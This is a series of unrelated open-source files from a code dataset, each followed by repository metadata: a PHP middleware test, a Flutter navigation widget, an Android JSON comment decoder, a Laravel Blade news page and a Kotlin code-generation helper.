<?php namespace FA\Tests\Middleware; use FA\DI\Container; use FA\Middleware\Settings; use FA\Tests\ConfigTestCase; class SettingsTest extends ConfigTestCase { /** * @var Slim */ protected $app; protected function setUp() { parent::setUp(); \Slim\Environment::mock(array( 'SERVER_NAME' => 'example.com', 'SCRIPT_NAME' => '', 'PATH_INFO' => '/' )); $this->app = new \Slim\Slim(); $this->app->view(new \Slim\View()); $this->app->get('/feed', function () { echo 'Success'; })->name('feed'); $this->container = new Container($this->config); } protected function tearDown() { parent::tearDown(); } public function testCallSetsBaseUrlAndFeedUri() { $this->assertNull($this->container['baseUrl']); $this->assertNull($this->container['feedUri']); $mw = new Settings($this->container); $mw->setApplication($this->app); $mw->setApplication($this->app); $mw->setNextMiddleware($this->app); $mw->call(); $this->assertSame($this->app->request->getUrl(), $this->container['baseUrl']); $this->assertSame($this->app->urlFor('feed'), $this->container['feedUri']); } }
23.357143
86
0.551988
f8458c709b86dd32b32120d92528b9fdc16dc059
2,955
dart
Dart
lib/item_widget.dart
shovelmn12/pop_bottom_nav
e6e3b0eb10e1c2e0b4573c1c7ede4af6ee45ddac
[ "MIT" ]
1
2019-11-06T02:26:46.000Z
2019-11-06T02:26:46.000Z
lib/item_widget.dart
shovelmn12/pop_bottom_nav
e6e3b0eb10e1c2e0b4573c1c7ede4af6ee45ddac
[ "MIT" ]
null
null
null
lib/item_widget.dart
shovelmn12/pop_bottom_nav
e6e3b0eb10e1c2e0b4573c1c7ede4af6ee45ddac
[ "MIT" ]
null
null
null
import 'package:flutter/material.dart'; import 'package:pop_bottom_nav/item.dart'; class ItemWidget extends StatelessWidget { final Duration duration; final PopNavItem item; final bool selected; const ItemWidget({ Key key, @required this.duration, @required this.item, this.selected = false, }) : assert(selected != null), super(key: key); @override Widget build(BuildContext context) => RepaintBoundary( child: AnimatedContainer( duration: duration, decoration: item.decorationBuilder?.call(selected) ?? BoxDecoration( borderRadius: BorderRadius.circular(100), color: selected ? Colors.white : Colors.transparent, boxShadow: [ if (selected) BoxShadow( offset: Offset(8, 0), color: Theme.of(context).primaryColor.withOpacity(.6), blurRadius: 94, ) ], ), height: 34, child: Padding( padding: selected && item.title.isNotEmpty ? const EdgeInsets.symmetric( vertical: 8, horizontal: 10, ) : const EdgeInsets.symmetric( vertical: 8, ), child: selected ? Row( mainAxisSize: MainAxisSize.min, children: <Widget>[ Flexible( child: Padding( padding: const EdgeInsets.symmetric( horizontal: 4, ), child: IconTheme( data: IconThemeData( color: Theme.of(context).primaryColor, ), child: item.activeIcon ?? item.icon), ), ), if (item.title.isNotEmpty) Flexible( flex: 2, child: Padding( padding: const EdgeInsetsDirectional.only( start: 8, end: 12, ), child: Text( item.title ?? "", overflow: TextOverflow.clip, textAlign: TextAlign.center, ), ), ), ], ) : IconTheme( data: IconThemeData( color: Colors.white, ), child: item.icon, ), ), ), ); }
33.965517
76
0.385448
a35ca46f0a1290aa21f98a615e141de1c814912a
7,552
java
Java
framework-protocol-http/src/main/java/com/romaway/common/protocol/dl/StockShuoBaDetailHotCommentProtocolCoder.java
Angus-bin/framework
b0e5ca09a75fc0590233913cb369dee075682670
[ "Apache-2.0" ]
null
null
null
framework-protocol-http/src/main/java/com/romaway/common/protocol/dl/StockShuoBaDetailHotCommentProtocolCoder.java
Angus-bin/framework
b0e5ca09a75fc0590233913cb369dee075682670
[ "Apache-2.0" ]
null
null
null
framework-protocol-http/src/main/java/com/romaway/common/protocol/dl/StockShuoBaDetailHotCommentProtocolCoder.java
Angus-bin/framework
b0e5ca09a75fc0590233913cb369dee075682670
[ "Apache-2.0" ]
1
2019-03-22T06:14:03.000Z
2019-03-22T06:14:03.000Z
package com.romaway.common.protocol.dl; import android.text.TextUtils; import com.romaway.common.protocol.AProtocolCoder; import com.romaway.common.protocol.ProtocolParserException; import com.romaway.common.protocol.coder.RequestCoder; import com.romaway.common.protocol.coder.ResponseDecoder; import com.romaway.common.protocol.dl.entity.StockShuoBaHotCommentEntity; import com.romaway.common.protocol.dl.entity.StockShuoBaHotReplyCommentEntity; import com.romaway.commons.json.BaseJSONArray; import com.romaway.commons.json.BaseJSONObject; import com.romaway.commons.log.Logger; import java.util.ArrayList; /** * Created by Administrator on 2018/3/29. */ public class StockShuoBaDetailHotCommentProtocolCoder extends AProtocolCoder<StockShuoBaDetailHotCommentProtocol> { @Override protected byte[] encode(StockShuoBaDetailHotCommentProtocol protocol) { RequestCoder reqCoder = new RequestCoder(); return reqCoder.getData(); } @Override protected void decode(StockShuoBaDetailHotCommentProtocol protocol) throws ProtocolParserException { ResponseDecoder r = new ResponseDecoder(protocol.getReceiveData() == null ? new byte[0] : protocol.getReceiveData()); String result = r.getString(); Logger.d("StockShuoBaDetailHotCommentProtocolCoder", "decode >>> result body = " + result); try { if (!TextUtils.isEmpty(result)) { BaseJSONObject jsonObject = new BaseJSONObject(result); if (jsonObject.has("error")) { protocol.resp_errorCode = jsonObject.getString("error"); } if (jsonObject.has("msg")) { protocol.resp_errorMsg = jsonObject.getString("msg"); } if (jsonObject.has("data")) { BaseJSONArray jsonArray = new BaseJSONArray(jsonObject.getString("data")); ArrayList<StockShuoBaHotCommentEntity> list = new ArrayList<StockShuoBaHotCommentEntity>(); int count = jsonArray.length(); for (int i = 0; i < count; i++) { BaseJSONObject jsonObject1 = jsonArray.getJSONObject(i); StockShuoBaHotCommentEntity entity = new StockShuoBaHotCommentEntity(); if (jsonObject1.has("id")) { entity.setId(jsonObject1.getString("id")); } if (jsonObject1.has("user_id")) { entity.setUser_id(jsonObject1.getString("user_id")); } if (jsonObject1.has("key_id")) { entity.setKey_id(jsonObject1.getString("key_id")); } if (jsonObject1.has("content")) { entity.setContent(jsonObject1.getString("content")); } if (jsonObject1.has("created_at")) { entity.setCreated_at(jsonObject1.getString("created_at")); } if (jsonObject1.has("type")) { entity.setType(jsonObject1.getString("type")); } if (jsonObject1.has("praise")) { entity.setPraise(jsonObject1.getString("praise")); } if (jsonObject1.has("source")) { entity.setSource(jsonObject1.getString("source")); } if (jsonObject1.has("other")) { entity.setOther(jsonObject1.getString("other")); } if (jsonObject1.has("is_praise")) { entity.setIs_praise(jsonObject1.getString("is_praise")); } if (jsonObject1.has("avatar")) { entity.setAvatar(jsonObject1.getString("avatar")); } if (jsonObject1.has("name")) { entity.setName(jsonObject1.getString("name")); } if (jsonObject1.has("reply")) { BaseJSONArray jsonArray1 = new BaseJSONArray(jsonObject1.getString("reply")); ArrayList<StockShuoBaHotReplyCommentEntity> list_reply = new ArrayList<StockShuoBaHotReplyCommentEntity>(); int count2 = jsonArray1.length(); for (int j = 0; j < count2; j++) { BaseJSONObject jsonObject2 = jsonArray1.getJSONObject(j); StockShuoBaHotReplyCommentEntity entity1 = new StockShuoBaHotReplyCommentEntity(); if (jsonObject2.has("id")) { entity1.setId(jsonObject2.getString("id")); } if (jsonObject2.has("p_id")) { entity1.setP_id(jsonObject2.getString("p_id")); } if (jsonObject2.has("from_id")) { entity1.setFrom_id(jsonObject2.getString("from_id")); } if (jsonObject2.has("to_id")) { entity1.setTo_id(jsonObject2.getString("to_id")); } if (jsonObject2.has("content")) { entity1.setContent(jsonObject2.getString("content")); } if (jsonObject2.has("created_at")) { entity1.setCreated_at(jsonObject2.getString("created_at")); } if (jsonObject2.has("from_name")) { entity1.setFrom_name(jsonObject2.getString("from_name")); } if (jsonObject2.has("from_avatar")) { entity1.setFrom_avatar(jsonObject2.getString("from_avatar")); } if (jsonObject2.has("is_praise")) { entity1.setIs_praise(jsonObject2.getString("is_praise")); } if (jsonObject2.has("praise")) { entity1.setPraise(jsonObject2.getString("praise")); } if (jsonObject2.has("to_name")) { entity1.setTo_name(jsonObject2.getString("to_name")); } if (jsonObject2.has("to_avatar")) { entity1.setTo_avatar(jsonObject2.getString("to_avatar")); } list_reply.add(entity1); } entity.setList_reply(list_reply); } list.add(entity); } protocol.setList(list); } } } catch (Exception e) { e.printStackTrace(); } } }
53.183099
135
0.476563
dbabe6a6fe1d6cf83cc8efb8ce9bd263047a3070
2,922
php
PHP
resources/views/user/news.blade.php
Muhammad9272/Luwway
54bec959ad4096413ffefaf7f93ce7f1f58b0535
[ "MIT" ]
null
null
null
resources/views/user/news.blade.php
Muhammad9272/Luwway
54bec959ad4096413ffefaf7f93ce7f1f58b0535
[ "MIT" ]
null
null
null
resources/views/user/news.blade.php
Muhammad9272/Luwway
54bec959ad4096413ffefaf7f93ce7f1f58b0535
[ "MIT" ]
null
null
null
@extends('front.layouts.app') @section('pagelevel_css') <link rel="stylesheet" type="text/css" href="{{asset('assets/front/css/datatable.css')}}"> @endsection @section('page_content') <section class="user-dashbord"> <div class="container"> <div class="row"> @include('includes.user-dashboard-sidebar') <div class="col-lg-9"> <div class="user-profile-details"> <div class="order-history"> <div class="header-area "> <h4 class="title ">News</h4> </div> <div class="mr-table allproduct message-area mt-4"> @include('includes.form-success') <div class="table-responsiv"> <table id="example" class="table table-hover dt-responsive" cellspacing="0" width="100%"> <thead> <tr> <th>SR.</th> <th>Title</th> <th>View</th> </tr> </thead> <tbody> @foreach($blogs as $blog) <tr class="conv"> <td>{{++$loop->index}}</td> <td>{{$blog->title}}</td> <td> <a target="_blank" href="{{route('front.blogshow',$blog->id)}}" class="link view"><i class="fa fa-eye"></i></a> </td> </tr> @endforeach </tbody> </table> </div> </div> </div> </div> </div> </div> </div> </section> <div class="modal fade" style="margin-top: 150px;" id="confirm-delete" tabindex="-1" role="dialog" aria-labelledby="modal1" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="modal-header d-block text-center"> <h4 class="modal-title d-inline-block">{{ $langg->lang257 }}</h4> <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">&times;</span> </button> </div> <div class="modal-body"> <p class="text-center">{{ $langg->lang258 }}</p> <p class="text-center">{{ $langg->lang259 }}</p> </div> <div class="modal-footer justify-content-center"> <button type="button" style="font-size: medium;" class="btn btn-default" data-dismiss="modal">{{ $langg->lang260 }}</button> <a class="btn btn-danger btn-ok" style="font-size: medium;">{{ $langg->lang261 }}</a> </div> </div> </div> </div> @endsection @section('pagelevel_scripts') <script src="{{asset('assets/front/js/datatable.js')}}"></script> <script type="text/javascript"> $(document).ready( function () { $('#example').DataTable(); } ); </script> @endsection
32.466667
144
0.490075
2cdc6843e498644f706aa96140048aec95d17036
1,823
kt
Kotlin
src/main/kotlin/galuzzi/kodegen/java/support/Thrower.kt
agaluzzi/codegen
6e093cfdabf9e3f80e9de45d3777fb63845a56d5
[ "Apache-2.0" ]
1
2019-11-09T17:09:30.000Z
2019-11-09T17:09:30.000Z
src/main/kotlin/galuzzi/kodegen/java/support/Thrower.kt
agaluzzi/kodegen
6e093cfdabf9e3f80e9de45d3777fb63845a56d5
[ "Apache-2.0" ]
null
null
null
src/main/kotlin/galuzzi/kodegen/java/support/Thrower.kt
agaluzzi/kodegen
6e093cfdabf9e3f80e9de45d3777fb63845a56d5
[ "Apache-2.0" ]
null
null
null
/* * Copyright 2018 Aaron Galuzzi * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package galuzzi.kodegen.java.support import galuzzi.kodegen.CodeGen import galuzzi.kodegen.java.Type /** * A code element that may throw exceptions. */ interface Thrower { fun throws(type: Type, description: String = "") fun getThrows(): CodeGen fun addThrowsDoc(target: Documented) class Impl : Thrower { private val types = mutableListOf<ThrowType>() override fun throws(type: Type, description: String) { types += ThrowType(type, description) } override fun getThrows(): CodeGen { return { if (types.isNotEmpty()) { +" throws " types.forEachIndexed { i, type -> if (i > 0) +", " +type.type } } } } override fun addThrowsDoc(target: Documented) { target.javadoc { types.filter { it.description.isNotBlank() } .forEach { type -> throws("${type.type}", type.description) } } } } private data class ThrowType(val type: Type, val description: String) }
27.621212
85
0.581459